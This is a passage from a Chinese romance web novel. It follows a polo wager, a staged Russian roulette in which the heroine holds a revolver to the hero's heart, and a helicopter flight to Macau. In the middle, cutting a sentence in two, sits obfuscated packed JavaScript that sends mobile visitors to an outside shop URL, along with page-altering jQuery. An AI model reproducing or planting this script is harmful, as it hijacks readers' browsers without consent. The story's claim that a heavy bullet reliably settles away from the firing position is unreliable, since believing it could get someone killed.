全场只有雨声和马匹粗重的喘息声。
周彻勒马回身,那匹黑马扬起前蹄发出一声长嘶。他浑身湿透,白色的骑装上溅满了黑色的泥点,头发湿漉漉地贴在额前,却丝毫无损那种斯文败类的气场。
他策马走到围栏边。
那里摆着今日头筹的彩头——一支用黄金和红宝石镶嵌的复古马鞭。
索科洛夫虽然输了,却大笑着鼓掌,“周!你他妈的就是个疯子!这种不要命的打法也就你敢用!”
周彻没有下马。
他用球杆挑起那支昂贵的马鞭,然后侧过身,策马来到了商颂面前。
骏马高大,他在马上俯视着她。
“商颂。”
他叫她的名字。
商颂仰起头。雨水落在她的脸上,她看见那个如同神祇一般的男人,正用一种虔诚又傲慢的姿态看着她。
“拿着。”
他将那支象征着征服与暴力的马鞭递到她面前。
“我把赢来的荣耀给你。”
他的眼神炙热得几乎能将这漫天的冷雨蒸发,“但这根鞭子你要拿稳了。你是我的幸运神,以后也要一直看着我赢。”
商颂伸出手,接过了那支冰冷沉重的马鞭。
红宝石硌在手心,黄金的凉意渗入骨髓。
她知道,这不是礼物,这是一道更加华丽的枷锁。他把战利品给她,是在告诉她:从今往后,她的荣辱,将彻底与他的胜败绑死在一起。
下半场,地点转到了浅水湾那个极具私密性的枪会俱乐部。
地下的射击靶场。
那种令人窒息的肃杀感,比刚才的马球场更甚。
“刚才的开胃菜不错。但不够刺激。”
索科洛夫显然还没有玩够,他的那股嗜赌的瘾一旦被勾起来,就像是沾了药的恶鬼。
他脱掉了外套,露出里面紧绷的衬衫,手里把玩着一把银色的左轮手枪。
“以前在西伯利亚,没有什么是一枪解决不了的。如果有,那就再开一枪。”
他看向周彻,又看向裹着周彻外套、只露出那抹惊心动魄绿裙摆的商颂。
“周,入港权的文件就在车上。但我有个规矩,最后一笔字,只跟运气最好的人签。”
他指了指桌上那个被打开的黑色枪盒,“敢不敢把你的幸运神,再放到天平上称一称?”
那是一把柯尔特“巨蟒”。357马格南口径。枪身漆黑,如同它的名字一样充满杀气。
周彻正在擦拭眼镜上的水雾,闻言动作一顿。
他重新戴上眼镜,眼底的那片深渊里终于泛起了一丝真正的疯狂。
“怎么玩?”
“俄罗斯轮盘。”
“好啊。”
他语气平淡,“你想怎么赌?”
“你对自己开一枪。”索科洛夫指了指周彻的胸口,“一发子弹,六分之一的概率。如果响了,你的女人归我,你的命归上帝。如果不响,三个点的让利,我立刻签字。”
商颂的瞳孔剧烈收缩,“不行!”
她下意识地想要冲过去,却被周彻一把拉住。
周彻看着索科洛夫,忽然笑了。
“伊万,这种赌法太俗套。而且,我的命如果不值钱,你的合同我也不稀罕。”
他拿过那把巨蟒,将那颗子弹塞进弹巢。
“我们换个玩法。”
他看向商颂,那眼神里有一抹令人心悸的温柔与决绝。
“过来。”
他把商颂拉到自己身前,让她背靠着自己宽阔温热的胸膛。
然后,他把那把沉重的左轮塞进她手里,双手握住她的手,强迫她抬起手臂。
这一次,枪口没有对准前方,而是调转过来——
那黑洞洞的枪口,正直直地抵在周彻自己的心脏位置。
隔着黑色的衬衫,商颂能感觉到枪口的冰凉,和他胸膛里那颗心脏沉稳有力的搏动。
咚、咚、咚。
商颂疯了似地想要挣脱,“周彻!你干什么?!我不玩!你放开我!”
那种巨大的恐惧让她几乎要崩溃。
“嘘。”
周彻在后面扣死她的手腕,低头吻在她的颈侧,“商颂,别动。看着前面。”
“我不信上帝,不信佛,我只信你。”
他在她耳边低语,“你是易为春,我是周游。你不是早就想杀了我吗?现在,这把枪就在你手里。这颗心,我也给你了。”
他抬头看向早已愣住的索科洛夫。
“这就是我的赌注。”
周彻的眼神如刀锋般锐利,“让这个女人开枪。她要是想要我的命,或者要是运气不好……这一枪下去,我死。周家的北海航线送给你。”
“但如果她不想我死,而运气也站在我这边……”
他笑了,笑得肆无忌惮,“那就是天命所归。伊万,你得给我下跪磕头,叫一声真正的LuckyGod。”
索科洛夫倒吸一口凉气:“周,你是个彻底的疯子!你要把命交在一个女人手里?”
“因为她是我的命。”
周彻握紧商颂颤抖的手,那把枪的枪口死死抵着他的心脏。
“商颂,扣扳机。”
“我不要,周彻我不行。”商颂浑身发软,整个人全靠身后的他支撑着。
“你可以。”
周彻的声音变得严厉,“那年在附中那条巷子里,我没死。现在也不会死。相信我。”
“我们的命绑在一起。这一枪只要不响,我们就都活了。”
“一。”他开始倒数。
商颂感受着手里的重量,那是他的命。
她透过泪水看着前面的靶纸,却只感觉身后那个男人的体温要把她烫伤。
他赌的不仅仅是运气,他在赌她对他的爱,赌他们之间那种虽在烂泥里打滚却死也不放手的羁绊。
“二。”
周彻的手指叠在她的食指上,开始加力。
如果她不扣,他会帮她扣下去。
在那一瞬间,她没有别的选择。如果不赌,索科洛夫不会放过他们,周家也不会放过失败者。
既然都是死路,那就信他一次。
信这个在十六岁就敢为她断人腿的疯子。
“三!”
“咔哒。”
一声极其清脆甚至显得有些微弱的金属撞击声。
撞针击打在了空的弹巢上。
没有火光。
没有血花。
他的心脏还在跳动,甚至没有一丝紊乱。
那一秒钟的寂静,像是一个世纪那么长。
只有空调风机还在呼呼作响。
“哈哈哈哈哈哈!”
索科洛夫突然爆发出一阵狂笑,他用力拍着桌子,震得枪盒乱跳。
“哈哈哈!哈哈哈!周!!你真他妈是有种!这女人也真是有种!”
周彻慢慢松开了手。
那把枪从商颂手里滑落,“咣当”一声掉在地上。
商颂整个人像是被抽走了脊梁骨,软绵绵地倒下去。
周彻一把捞住她,将她死死地按在怀里。
他低下头,嘴唇发白,却笑得极其猖狂。他吻着她汗湿的头发,吻着她冰冷的眼泪。
“看。”
他贴着她的耳朵,声音沙哑得不像话,“我们活下来了。”
“我的心脏还在跳,它是你的了。”
从俱乐部出来的时候,雨彻底停了。
维多利亚港的夜空被洗得透亮,连那一向浑浊的海水似乎都干净了几分。
商颂披着周彻的风衣,缩在幻影的后座角落里,还在瑟瑟发抖。
周彻点了一支烟,深吸一口,稳住还有些微颤的手指。
然后,他从口袋里掏出了那颗被退出来的子弹,金黄色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126705|196108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,冷冰冰的。
“其实……”
他把那颗子弹塞进商颂的手心,嘴角勾起一抹坏笑。
“那把柯尔特虽然没改装,但这颗子弹我特意选了比较沉的一颗达姆弹头。转轮是有惯性的,只要转得够快……在重力的作用下,有子弹的那一面有九成概率会停在最下面。”
“也就是绝对击发不了的位置。”
商颂愣愣地看着他,眼神从呆滞慢慢变得愤怒,最后化为一种虚脱的哭笑不得。
“你……你在出老千?你拿你的命出老千?”
“这叫控局。”
周彻把她抱过来,让她跨坐在自己腿上,捏着她的下巴,“但凡事都有万一。如果那个轴承稍微卡了一下,或者你扣扳机的时候手抖偏了一寸……”
他没说下去。
只是低下头,虔诚地吻住了她。
“商颂,刚才你开枪那一瞬间的绝望,真美。”
他叹息着,“那一刻,我知道,你是爱我的。”
“这就够了。哪怕那一枪真的响了,死在你手里,我也认了。”
这大概是周彻这辈子说过最动听的情话,也是最疯的诅咒。
商颂身上那件祖母绿的真丝长裙已经被冷汗浸透,湿漉漉地贴着脊背,她还没从那一记空枪的巨大冲击中回魂,车身却猛地一顿,随即并未驶向半山的公寓,而是调转车头,直奔港岛的私人停机坪。
因为那个刚像是看了一场绝妙斗兽表演的俄国巨鳄索科洛夫,兴致显然才刚刚被那颗没有击发的子弹挑起来。
“周,你的女人,还有你的命,都太硬了。”
“这种劫后余生的快感,如果不配上一点真正的金钱声响,就像是做|爱没有高潮,太遗憾了。”
他指了指车窗外东南方那片被夜色与霓虹染成紫金色的海域——
“澳门。”
“今晚的风向刚好,适合过海。”索科洛夫转过头,带着一股不容拒绝的霸道,“那份合同的最后几页,我想在那张铺着绿绒布的桌子上签。周,你应该不会扫我的兴吧?”
周彻正低头用一块洁白的手帕,一点点擦拭商颂指尖沾染的黑色枪油。他闻言,动作并未有丝毫停顿。
他在那明明灭灭的光影里抬眼,镜片后划过一丝早就料到的属于捕猎者的从容与厌倦。
“既然伊万你有兴致。”周彻将那块脏了的手帕随意丢进车载垃圾桶,握紧了商颂的手,“那我奉陪到底。”
直升机的螺旋桨撕裂了夜空,巨大的轰鸣声将世界切割成破碎的噪点。
从香港飞往澳门不过短短一刻钟。这十五分钟,是将人从“旧世界”的老钱傲慢,摆渡到“新世界”的赤裸癫狂。
脚下是漆黑的伶仃洋,远处港珠澳大桥像一条发光的锁链,锁住了这片欲望翻涌的海域。
商颂坐在周彻身边,披着他的黑色西装外套。那是他在刚才的靶场脱下来罩在她身上的,带着体温,像是一个坚不可摧的茧,将她这个“幸运神”包裹其中。
“冷吗?”
周彻在巨大的噪音中凑近她的耳畔。他的嘴唇几乎贴着她的皮肤,带着一丝安抚的意味。
商颂摇了摇头。
她侧过脸,借着机舱内微弱的仪表灯光看着这个男人。
就在十分钟前,他把心脏交到了她手里。而现在,他又恢复成了那个无坚不摧甚至可以用冷酷来形容的商业机器。唯有那只一直没松开的手,掌心里全是黏腻的湿汗,泄露了他灵魂深处的那一丝余悸。
“周彻……”商颂动了动嘴唇,声音被噪音吞没。
但周彻看懂了。
他伸出手,大拇指温柔地摩挲过她眼角那处还没干透的泪痕,然后在她那颗祖母绿的耳坠上落下一个吻。
“别怕。”
他的声音低沉,“到了那边,只需要坐在我身边。不管看到什么,只要这只手没松开,天就塌不下来。”